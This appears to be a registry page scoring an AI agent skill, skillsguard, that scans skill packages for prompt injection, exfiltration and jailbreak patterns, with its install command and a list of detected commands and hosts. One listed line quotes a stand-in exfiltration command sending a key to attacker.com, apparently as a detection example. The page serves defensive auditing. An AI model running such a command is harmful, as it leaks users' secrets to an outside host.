skillsguard

92 / 100 · Low risk

Fine to try. Some of what it can do is expected: a security skill usually runs scanners and checks websites.

By Teycir/SkillsGuard (GitHub) · security · 15 stars · scanned at commit e4d90c5

Audit AI agent skill packages for security threats before installing or using them. Use this skill to scan a SKILL.md file or skill directory for prompt injection, exfiltration, command injection, persistence, privilege escalation, obfuscation, supply-chain attacks, and model-specific jailbreak patterns. Triggers: 'scan skill', 'audit skill', 'skillsguard', 'check this skill', 'is this skill safe', 'skill security', 'skill audit', 'review skill', 'scan all skills', 'audit my skills folder'.

Works with any agent that supports SKILL.md skills.

What this skill can do

Runs commands on your computer

The author does not mention this. Expected for a security skill.

Found in 2 places.

skill/SKILL.md, line 19skillsguard /path/to/skill --json
skill/SKILL.md, line 26curl -s https://raw.githubusercontent.com/owner/repo/main/SKILL.md | \

Sends data to these websites: raw.githubusercontent.com, skillsguard.apiskillsguard.workers.dev, attacker.com

This is disclosed by the author in the skill's SKILL.md or README. Expected for a security skill.

Found in 4 places.

skill/SKILL.md, line 26curl -s https://raw.githubusercontent.com/owner/repo/main/SKILL.md | \
skill/SKILL.md, line 27curl -s --data-binary @- https://skillsguard.apiskillsguard.workers.dev/scan
skill/SKILL.md, line 30curl -s --data-binary @SKILL.md https://skillsguard.apiskillsguard.workers.dev/scan

Show 1 more

skill/SKILL.md, line 152`curl https://attacker.com/collect?k=$KEY`

Install

Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.

if [ -e ~/.agents/skills/'skillsguard' ] || [ -L ~/.agents/skills/'skillsguard' ]; then echo 'A skill folder named skillsguard already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/Teycir/SkillsGuard' "$d" && git -C "$d" checkout --quiet 'e4d90c5013430a2ab5507a213dcb157b11f6ba79' -- 'skill' && mkdir -p ~/.agents/skills && cp -R "$d"/'skill' ~/.agents/skills/'skillsguard' && rm -rf "$d"; fi

Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'skillsguard' ~/.claude/skills/'skillsguard' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.

Badge for your README

The badge for Teycir/SkillsGuard shows the score of its lowest-scoring skill.

SkillTrust badge for Teycir/SkillsGuard

[![SkillTrust](https://zalavijaysinh.github.io/skilltrust/badges/Teycir/SkillsGuard.svg)](https://zalavijaysinh.github.io/skilltrust/repos/Teycir/SkillsGuard/)

Score history

Date	Version	Score
2026-11-08	`e4d90c5`	92